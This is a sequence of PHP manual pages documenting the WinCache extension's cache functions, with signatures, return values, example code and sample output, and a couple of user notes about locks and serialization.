  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.
WinCache Functions
wincache_fcache_meminfo
WinCache Functions


Retrieves information about file cache memory usage

wincache_fcache_fileinfo
wincache_lock
WinCache Functions
PHP Manual

wincache_fcache_meminfo

(PECL wincache >= 1.0.0)

wincache_fcache_meminfo — Retrieves information about file cache memory usage

Description

array wincache_fcache_meminfo ( void )

Retrieves information about memory usage by file cache.

Return Values

Array of meta data about file cache memory usage or FALSE on failure

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the file cache
  • memory_free - amount of free memory in bytes available for the file cache
  • num_used_blks - number of memory blocks used by the file cache
  • num_free_blks - number of free memory blocks available for the file cache
  • memory_overhead - amount of memory in bytes used for the file cache internal structures

Examples

Example #1 A wincache_fcache_meminfo() example

<pre>
<?php
print_r(wincache_fcache_meminfo());
?>
</pre>

The above example will output:

Array
(
    [memory_total] => 134217728
    [memory_free] => 131339120
    [num_used_blks] => 361
    [num_free_blks] => 3
    [memory_overhead] => 5856
)

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.
wincache_fcache_fileinfo
wincache_lock
WinCache Functions


Acquires an exclusive lock on a given key

wincache_fcache_meminfo
wincache_ocache_fileinfo
WinCache Functions
PHP Manual

wincache_lock

(PECL wincache >= 1.1.0)

wincache_lock — Acquires an exclusive lock on a given key

Description

bool wincache_lock ( string $key [, bool $isglobal = false ] )

Obtains an exclusive lock on a given key. The execution of the current script will be blocked until the lock can be obtained. Once the lock is obtained, the other scripts that try to request the lock by using the same key will be blocked, until the current script releases the lock by using wincache_unlock().

Warning

Using of the wincache_lock() and wincache_unlock() can cause deadlocks when executing PHP scripts in a multi-process environment like FastCGI. Do not use these functions unless you are absolutely sure you need to use them. For the majority of the operations on the user cache it is not necessary to use these functions.

Parameters

key

Name of the key in the cache to get the lock on.

isglobal

Controls whether the scope of the lock is system-wide or local. Local locks are scoped to the application pool in IIS FastCGI case or to all php processes that have the same parent process identifier.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using wincache_lock()

<?php
$fp = fopen("/tmp/lock.txt", "r+");
if (wincache_lock(“lock_txt_lock”)) { // do an exclusive lock
    ftruncate($fp, 0); // truncate file
    fwrite($fp, "Write something here\n");
    wincache_unlock(“lock_txt_lock”); // release the lock
} else {
    echo "Couldn't get the lock!";
}
fclose($fp);
?>

See Also

  • wincache_unlock() - Releases an exclusive lock on a given key
  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache

User Contributed Notes

donraman at microsoft dot com 23-Apr-2010 06:11
User should be aware that character '\' is not allowed as part of lock name. The reason why backslash is not allowed is because we are using CreateMutex call as described at http://msdn.microsoft.com/en-us/library/ms682411(VS.85).aspx. As per this article third parameter cannot have '\' character which is the lock name.

This means below code will not work.

<?php

   $ret_val = wincache_lock("C:\WINDOWS\Temp/cache");
   echo $ret_val . '<br>';
   $ret_val = wincache_unlock("C:\WINDOWS\Temp/cache");
   echo $ret_val . '<br>';

?>
wincache_fcache_meminfo
wincache_ocache_fileinfo
WinCache Functions


Retrieves information about files cached in the opcode cache

wincache_lock
wincache_ocache_meminfo
WinCache Functions
PHP Manual

wincache_ocache_fileinfo

(PECL wincache >= 1.0.0)

wincache_ocache_fileinfo — Retrieves information about files cached in the opcode cache

Description

array wincache_ocache_fileinfo ([ bool $summaryonly = false ] )

Retrieves information about opcode cache content and its usage.

Parameters

summaryonly

Controls whether the returned array will contain information about individual cache entries along with the opcode cache summary.

Return Values

Array of meta data about opcode cache or FALSE on failure

The array returned by this function contains the following elements:

  • total_cache_uptime - total time in seconds that the opcode cache has been active
  • total_file_count - total number of files that are currently in the opcode cache
  • total_hit_count - number of times the compiled opcode have been served from the cache
  • total_miss_count - number of times the compiled opcode have not been found in the cache
  • is_local_cache - true is the cache metadata is for a local cache instance, false if the metadata is for the global cache

  • file_entries - an array that contains the information about all the cached files:

    • file_name - absolute file name of the cached file
    • add_time - time in seconds since the file has been added to the opcode cache
    • use_time - time in seconds since the file has been accessed in the opcode cache
    • last_check - time in seconds since the file has been checked for modifications
    • hit_count - number of times the file has been served from the cache
    • function_count - number of functions in the cached file
    • class_count - number of classes in the cached file

Examples

Example #1 A wincache_ocache_fileinfo() example

<pre>
<?php
print_r(wincache_ocache_fileinfo());
?>
</pre>

The above example will output:

Array
(
    [total_cache_uptime] => 17357
    [total_file_count] => 121
    [total_hit_count] => 36562
    [total_miss_count] => 201
    [file_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 17356
                    [use_time] => 7
                    [last_check] => 10
                    [hit_count] => 454
                    [function_count] => 0
                    [class_count] => 1
                )
            [2] => Array (...iterates for each cached file)
        )
)

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.
wincache_lock
wincache_ocache_meminfo
WinCache Functions


Retrieves information about opcode cache memory usage

wincache_ocache_fileinfo
wincache_refresh_if_changed
WinCache Functions
PHP Manual

wincache_ocache_meminfo

(PECL wincache >= 1.0.0)

wincache_ocache_meminfo — Retrieves information about opcode cache memory usage

Description

array wincache_ocache_meminfo ( void )

Retrieves information about memory usage by opcode cache.

Return Values

Array of meta data about opcode cache memory usage or FALSE on failure

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the opcode cache
  • memory_free - amount of free memory in bytes available for the opcode cache
  • num_used_blks - number of memory blocks used by the opcode cache
  • num_free_blks - number of free memory blocks available for the opcode cache
  • memory_overhead - amount of memory in bytes used for the opcode cache internal structures

Examples

Example #1 A wincache_ocache_meminfo() example

<pre>
<?php
print_r(wincache_ocache_meminfo());
?>
</pre>

The above example will output:

Array
(
    [memory_total] => 134217728
    [memory_free] => 112106972
    [num_used_blks] => 15469
    [num_free_blks] => 4
    [memory_overhead] => 247600
)

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.
wincache_ocache_fileinfo
wincache_refresh_if_changed
WinCache Functions


Refreshes the cache entries for the cached files

wincache_ocache_meminfo
wincache_rplist_fileinfo
WinCache Functions
PHP Manual

wincache_refresh_if_changed

(PECL wincache >= 1.0.0)

wincache_refresh_if_changed — Refreshes the cache entries for the cached files

Description

bool wincache_refresh_if_changed ([ array $files ] )

Refreshes the cache entries for the files, whose names were passed in the input argument. If no argument is specified then refreshes all the entries in the cache.

Parameters

files

An array of file names for files that need to be refreshed. An absolute or relative file paths can be used.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

WinCache performs regular checks on the cached files to ensure that if any file has changed then the corresponding entry in the cache is updated. By default this check is performed every 30 seconds. If, for example, a PHP script updates another PHP script where the application's configuration settings are stored, then it may happen that after the configuration settings have been saved to a file, the application is still using old settings for some time until the cache is refreshed. In those cases it may be preferrable to refresh the cache right after the file has been changed. The following example shows how this can be done.

Example #1 A wincache_refresh_if_changed() example

<?php
$filename = 'C:\inetpub\wwwroot\config.php';
$handle = fopen($filename, 'w+');
if ($handle === FALSE) die('Failed to open file '.$filename.' for writing');
fwrite($handle, '<?php $setting=something; ?>');
fclose($handle);
wincache_refresh_if_changed(array($filename));
?>

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache

User Contributed Notes

There are no user contributed notes for this page.
wincache_ocache_meminfo
wincache_rplist_fileinfo
WinCache Functions


Retrieves information about resolve file path cache

wincache_refresh_if_changed
wincache_rplist_meminfo
WinCache Functions
PHP Manual

wincache_rplist_fileinfo

(PECL wincache >= 1.0.0)

wincache_rplist_fileinfo — Retrieves information about resolve file path cache

Description

array wincache_rplist_fileinfo ([ bool $summaryonly = false ] )

Retrieves information about cached mappings between relative file paths and corresponding absolute file paths.

Return Values

Array of meta data about the resolve file path cache or FALSE on failure

The array returned by this function contains the following elements:

  • total_file_count - total number of file path mappings stored in the cache

  • rplist_entries - an array that contains the information about all the cached file paths:

    • resolve_path - path to a file
    • subkey_data - corresponding absolute path to a file

Examples

Example #1 A wincache_rplist_fileinfo() example

<pre>
<?php
print_r(wincache_rplist_fileinfo());
?>
</pre>

The above example will output:

Array
(
    [total_file_count] => 5
    [rplist_entries] => Array
        (
            [1] => Array
                (
                    [resolve_path] => checkcache.php
                    [subkey_data] => c:\inetpub\wwwroot|c:\inetpub\wwwroot\checkcache.php
                )

            [2] => Array (...iterates for each cached file)
        )
)

See Also

  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.
wincache_refresh_if_changed
wincache_rplist_meminfo
WinCache Functions


Retrieves information about memory usage by the resolve file path cache

wincache_rplist_fileinfo
wincache_scache_info
WinCache Functions
PHP Manual

wincache_rplist_meminfo

(PECL wincache >= 1.0.0)

wincache_rplist_meminfo — Retrieves information about memory usage by the resolve file path cache

Description

array wincache_rplist_meminfo ( void )

Retrieves information about memory usage by resolve file path cache.

Return Values

Array of meta data that describes memory usage by resolve file path cache. or FALSE on failure

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the resolve file path cache
  • memory_free - amount of free memory in bytes available for the resolve file path cache
  • num_used_blks - number of memory blocks used by the resolve file path cache
  • num_free_blks - number of free memory blocks available for the resolve file path cache
  • memory_overhead - amount of memory in bytes used for the internal structures of resolve file path cache

Examples

Example #1 A wincache_rplist_meminfo() example

<pre>
<?php
print_r(wincache_rplist_meminfo());
?>
</pre>

The above example will output:

Array
(
    [memory_total] => 9437184
    [memory_free] => 9416744
    [num_used_blks] => 23
    [num_free_blks] => 1
    [memory_overhead] => 416
)

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.
wincache_rplist_fileinfo
wincache_scache_info
WinCache Functions


Retrieves information about files cached in the session cache

wincache_rplist_meminfo
wincache_scache_meminfo
WinCache Functions
PHP Manual

wincache_scache_info

(PECL wincache >= 1.1.0)

wincache_scache_info — Retrieves information about files cached in the session cache

Description

array wincache_scache_info ([ bool $summaryonly = false ] )

Retrieves information about session cache content and its usage.

Parameters

summaryonly

Controls whether the returned array will contain information about individual cache entries along with the session cache summary.

Return Values

Array of meta data about session cache or FALSE on failure

The array returned by this function contains the following elements:

  • total_cache_uptime - total time in seconds that the session cache has been active
  • total_item_count - total number of elements that are currently in the session cache
  • is_local_cache - true is the cache metadata is for a local cache instance, false if the metadata is for the global cache
  • total_hit_count - number of times the data has been served from the cache
  • total_miss_count - number of times the data has not been found in the cache

  • scache_entries - an array that contains the information about all the cached items:

    • key_name - name of the key which is used to store the data
    • value_type - type of value stored by the key
    • use_time - time in seconds since the file has been accessed in the opcode cache
    • last_check - time in seconds since the file has been checked for modifications
    • ttl_seconds - time remaining for the data to live in the cache, 0 meaning infinite
    • age_seconds - time elapsed from the time data has been added in the cache
    • hitcount - number of times data has been served from the cache

Examples

Example #1 A wincache_scache_info() example

<pre>
<?php
print_r(wincache_scache_info());
?>
</pre>

The above example will output:

Array
(
    [total_cache_uptime] => 17357
    [total_file_count] => 121
    [total_hit_count] => 36562
    [total_miss_count] => 201
    [scache_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 17356
                    [use_time] => 7
                    [last_check] => 10
                    [hit_count] => 454
                    [function_count] => 0
                    [class_count] => 1
                )
            [2] => Array (...iterates for each cached file)
        )
)

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.
wincache_rplist_meminfo
wincache_scache_meminfo
WinCache Functions


Retrieves information about session cache memory usage

wincache_scache_info
wincache_ucache_add
WinCache Functions
PHP Manual

wincache_scache_meminfo

(PECL wincache >= 1.1.0)

wincache_scache_meminfo — Retrieves information about session cache memory usage

Description

array wincache_scache_meminfo ( void )

Retrieves information about memory usage by session cache.

Return Values

Array of meta data about session cache memory usage or FALSE on failure

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the session cache
  • memory_free - amount of free memory in bytes available for the session cache
  • num_used_blks - number of memory blocks used by the session cache
  • num_free_blks - number of free memory blocks available for the session cache
  • memory_overhead - amount of memory in bytes used for the session cache internal structures

Examples

Example #1 A wincache_scache_meminfo() example

<pre>
<?php
print_r(wincache_scache_meminfo());
?>
</pre>

The above example will output:

Array
(
    [memory_total] => 5242880
    [memory_free] => 5215056
    [num_used_blks] => 6
    [num_free_blks] => 3
    [memory_overhead] => 176
)

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache

User Contributed Notes

There are no user contributed notes for this page.
wincache_scache_info
wincache_ucache_add
WinCache Functions


Adds a variable in user cache only if variable does not already exist in the cache

wincache_scache_meminfo
wincache_ucache_cas
WinCache Functions
PHP Manual

wincache_ucache_add

(PECL wincache >= 1.1.0)

wincache_ucache_add — Adds a variable in user cache only if variable does not already exist in the cache

Description

bool wincache_ucache_add ( string $key , mixed $value [, int $ttl = 0 ] )
bool wincache_ucache_add ( array $values [, mixed $unused [, int $ttl = 0 ]] )

Adds a variable in user cache, only if this variable doesn't already exist in the cache. The added variable remains in the user cache unless its time to live expires or it is deleted by using wincache_ucache_delete() or wincache_ucache_clear() functions.

Parameters

key

Store the variable using this key name. If a variable with same key is already present the function will fail and return FALSE. key is case sensitive. To override the value even if key is present use wincache_ucache_set() function instad. key can also take array of name => value pairs where names will be used as keys. This can be used to add multiple values in the cache in one operation, thus avoiding race condition.

value

Value of a variable to store. Value supports all data types except resources, such as file handles. This paramter is ignored if first argument is an array. A general guidance is to pass NULL as value while using array as key. If value is an object, or an array containing objects, then the objects will be serialized. See __sleep() for details on serializing objects.

values

Associative array of keys and values.

ttl

Time for the variable to live in the cache in seconds. After the value specified in ttl has passed the stored variable will be deleted from the cache. This parameter takes a default value of 0 which means the variable will stay in the cache unless explicitly deleted by using wincache_ucache_delete() or wincache_ucache_clear() functions.

Return Values

If key is string, the function returns TRUE on success and FALSE on failure.

If key is an array, the function returns:

  • If all the name => value pairs in the array can be set, function returns an empty array;
  • If all the name => value pairs in the array cannot be set, function returns FALSE;
  • If some can be set while others cannot, function returns an array with name=>value pair for which the addition failed in the user cache.

Examples

Example #1 wincache_ucache_add() with key as a string

<?php
$bar = 'BAR';
var_dump(wincache_ucache_add('foo', $bar));
var_dump(wincache_ucache_add('foo', $bar));
var_dump(wincache_ucache_get('foo'));
?>

The above example will output:

bool(true)
bool(false)
string(3) "BAR"

Example #2 wincache_ucache_add() with key as an array

<?php
$colors_array = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
var_dump(wincache_ucache_add($colors_array));
var_dump(wincache_ucache_add($colors_array));
var_dump(wincache_ucache_get('Blue'));
?>

The above example will output:

array(0) { }
array(4) {
  ["green"]=> int(-1)
  ["Blue"]=> int(-1)
  ["yellow"]=> int(-1)
  ["cyan"]=> int(-1)
}
string(1) "6"

See Also

  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • __sleep()

User Contributed Notes

There are no user contributed notes for this page.
wincache_scache_meminfo
wincache_ucache_cas
WinCache Functions


Compares the variable with old value and assigns new value to it

wincache_ucache_add
wincache_ucache_clear
WinCache Functions
PHP Manual

wincache_ucache_cas

(PECL wincache >= 1.1.0)

wincache_ucache_cas — Compares the variable with old value and assigns new value to it

Description

bool wincache_ucache_cas ( string $key , int $old_value , int $new_value )

Compares the variable associated with the key with old_value and if it matches then assigns the new_value to it.

Parameters

key

The key that is used to store the variable in the cache. key is case sensitive.

old_value

Old value of the variable pointed by key in the user cache. The value should be of type long, otherwise the function returns FALSE.

new_value

New value which will get assigned to variable pointer by key if a match is found. The value should be of type long, otherwise the function returns FALSE.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using wincache_ucache_cas()

<?php
wincache_ucache_set('counter', 2922);
var_dump(wincache_ucache_cas('counter', 2922, 1));
var_dump(wincache_ucache_get('counter'));
?>

The above example will output:

bool(true)
int(1)

See Also

  • wincache_ucache_inc() - Increments the value associated with the key
  • wincache_ucache_dec() - Decrements the value associated with the key

User Contributed Notes

There are no user contributed notes for this page.
wincache_ucache_add
wincache_ucache_clear
WinCache Functions


Deletes entire content of the user cache

wincache_ucache_cas
wincache_ucache_dec
WinCache Functions
PHP Manual

wincache_ucache_clear

(PECL wincache >= 1.1.0)

wincache_ucache_clear — Deletes entire content of the user cache

Description

bool wincache_ucache_clear ( void )

Clears/deletes all the values stored in the user cache.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 using wincache_ucache_clear()

<?php
wincache_ucache_set('green', 1);
wincache_ucache_set('red', 2);
wincache_ucache_set('orange', 4);
wincache_ucache_set('blue', 8);
wincache_ucache_set('cyan', 16);
$array1 = array('green', 'red', 'orange', 'blue', 'cyan');
var_dump(wincache_ucache_get($array1));
var_dump(wincache_ucache_clear());
var_dump(wincache_ucache_get($array1));
?>

The above example will output:

array(5) { ["green"]=> int(1)
           ["red"]=> int(2)
           ["orange"]=> int(4)
           ["blue"]=> int(8)
           ["cyan"]=> int(16) }
bool(true)
bool(false)

See Also

  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache

User Contributed Notes

There are no user contributed notes for this page.
wincache_ucache_cas
wincache_ucache_dec
WinCache Functions


Decrements the value associated with the key

wincache_ucache_clear
wincache_ucache_delete
WinCache Functions
PHP Manual

wincache_ucache_dec

(PECL wincache >= 1.1.0)

wincache_ucache_dec — Decrements the value associated with the key

Description

mixed wincache_ucache_dec ( string $key [, int $dec_by = 1 [, bool &$success ]] )

Decrements the value associated with the key by 1 or as specified by dec_by.

Parameters

key

The key that was used to store the variable in the cache. key is case sensitive.

dec_by

The value by which the variable associated with the key will get decremented. If the argument is a floating point number it will be truncated to nearest integer. The variable associated with the key should be of type long, otherwise the function fails and returns FALSE.

success

Will be set to TRUE on success and FALSE on failure.

Return Values

Returns the decremented value on success and FALSE on failure.

Examples

Example #1 Using wincache_ucache_dec()

<?php
wincache_ucache_set('counter', 1);
var_dump(wincache_ucache_dec('counter', 2923, $success));
var_dump($success);
?>

The above example will output:

int(2922)
bool(true)

See Also

  • wincache_ucache_inc() - Increments the value associated with the key
  • wincache_ucache_cas() - Compares the variable with old value and assigns new value to it

User Contributed Notes

There are no user contributed notes for this page.
wincache_ucache_clear
wincache_ucache_delete
WinCache Functions


Deletes variables from the user cache

wincache_ucache_dec
wincache_ucache_exists
WinCache Functions
PHP Manual

wincache_ucache_delete

(PECL wincache >= 1.1.0)

wincache_ucache_delete — Deletes variables from the user cache

Description

bool wincache_ucache_delete ( mixed $key )

Deletes the elements in the user cache pointed by key.

Parameters

key

The key that was used to store the variable in the cache. key is case sensitive. key can be an array of keys.

Return Values

Returns TRUE on success or FALSE on failure.

If key is an array then the function returns FALSE if every element of the array fails to get deleted from the user cache, otherwise returns an array which consists of all the keys that are deleted.

Examples

Example #1 Using wincache_ucache_delete() with key as a string

<?php
wincache_ucache_set('foo', 'bar');
var_dump(wincache_ucache_delete('foo'));
var_dump(wincache_ucache_exists('foo'));
?>

The above example will output:

bool(true)
bool(false)

Example #2 Usingwincache_ucache_delete() with key as an array

<?php
$array1 = array('green' => '5', 'blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('green', 'blue', 'yellow', 'cyan');
var_dump(wincache_ucache_delete($array2));
?>

The above example will output:

array(4) { [0]=> string(5) "green"
           [1]=> string(4) "Blue"
           [2]=> string(6) "yellow"
           [3]=> string(4) "cyan" }

Example #3 Using wincache_ucache_delete() with key as an array where some elements cannot be deleted

<?php
$array1 = array('green' => '5', 'blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('orange', 'red', 'yellow', 'cyan');
var_dump(wincache_ucache_delete($array2));
?>

The above example will output:

array(2) { [0]=> string(6) "yellow"
           [1]=> string(4) "cyan" }

See Also

  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache

User Contributed Notes

There are no user contributed notes for this page.
wincache_ucache_dec
wincache_ucache_exists
WinCache Functions


Checks if a variable exists in the user cache

wincache_ucache_delete
wincache_ucache_get
WinCache Functions
PHP Manual

wincache_ucache_exists

(PECL wincache >= 1.1.0)

wincache_ucache_exists — Checks if a variable exists in the user cache

Description

bool wincache_ucache_exists ( string $key )

Checks if a variable with the key exists in the user cache or not.

Parameters

key

The key that was used to store the variable in the cache. key is case sensitive.

Return Values

Returns TRUE if variable with the key exitsts, otherwise returns FALSE.

Examples

Example #1 Using wincache_ucache_exists()

<?php
if (!wincache_ucache_exists('green'))
    wincache_ucache_set('green', 1);
var_dump(wincache_ucache_exists('green'));
?>

The above example will output:

bool(true)

See Also

  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache

User Contributed Notes

There are no user contributed notes for this page.
wincache_ucache_delete
wincache_ucache_get
WinCache Functions


Gets a variable stored in the user cache

wincache_ucache_exists
wincache_ucache_inc
WinCache Functions
PHP Manual

wincache_ucache_get

(PECL wincache >= 1.1.0)

wincache_ucache_get — Gets a variable stored in the user cache

Description

mixed wincache_ucache_get ( mixed $key [, bool &$success ] )

Gets a variable stored in the user cache.

Parameters

key

The key that was used to store the variable in the cache. key is case sensitive. key can be an array of keys. In this case the return value will be an array of values of each element in the key array. If an object, or an array containing objects, is returned, then the objects will be unserialized. See __wakeup() for details on unserializing objects.

success

Will be set to TRUE on success and FALSE on failure.

Return Values

If key is a string, the function returns the value of the variable stored with that key. The success is set to TRUE on success and to FALSE on failure.

The key is an array, the parameter success is always set to TRUE. The returned array (name => value pairs) will contain only those name => value pairs for which the get operation in user cache was successful. If none of the keys in the key array finds a match in the user cache an empty array will be returned.

Examples

Example #1 wincache_ucache_get() with key as a string

<?php
wincache_ucache_add('color', 'blue');
var_dump(wincache_ucache_get('color', $success));
var_dump($success);
?>

The above example will output:

string(4) "blue"
bool(true)

Example #2 wincache_ucache_get() with key as an array

<?php
$array1 = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('green', 'Blue', 'yellow', 'cyan');
var_dump(wincache_ucache_get($array2, $success));
var_dump($success);
?>

The above example will output:

array(4) { ["green"]=> string(1) "5"
           ["Blue"]=> string(1) "6"
           ["yellow"]=> string(1) "7"
           ["cyan"]=> string(1) "8" }
bool(true)

See Also

  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • __wakeup()

User Contributed Notes

don dot raman at microsoft dot com 09-Mar-2010 11:12
As per documentation PHP 5.2 doesn't support serialization of PHP internal classes. This means code below will not work:

<?php
$d = new DateTime();
$d->format(DateTime::W3C);
wincache_ucache_set( 'q1', $d );
var_dump( wincache_ucache_get( 'q1' )->format(DATE_ATOM));
?>

The output of above code will be (as of PHP5.2.13):
[11-Feb-2010 08:35:29] PHP Warning:  DateTime::format() [<a href='datetime.format'>datetime.format</a>]: The DateTime object has not been correctly initialized by its constructor in C:\inetpub\wwwroot\phptest\tests\ucache\wincache8.php on line 5
And last var_dump will return bool(false).
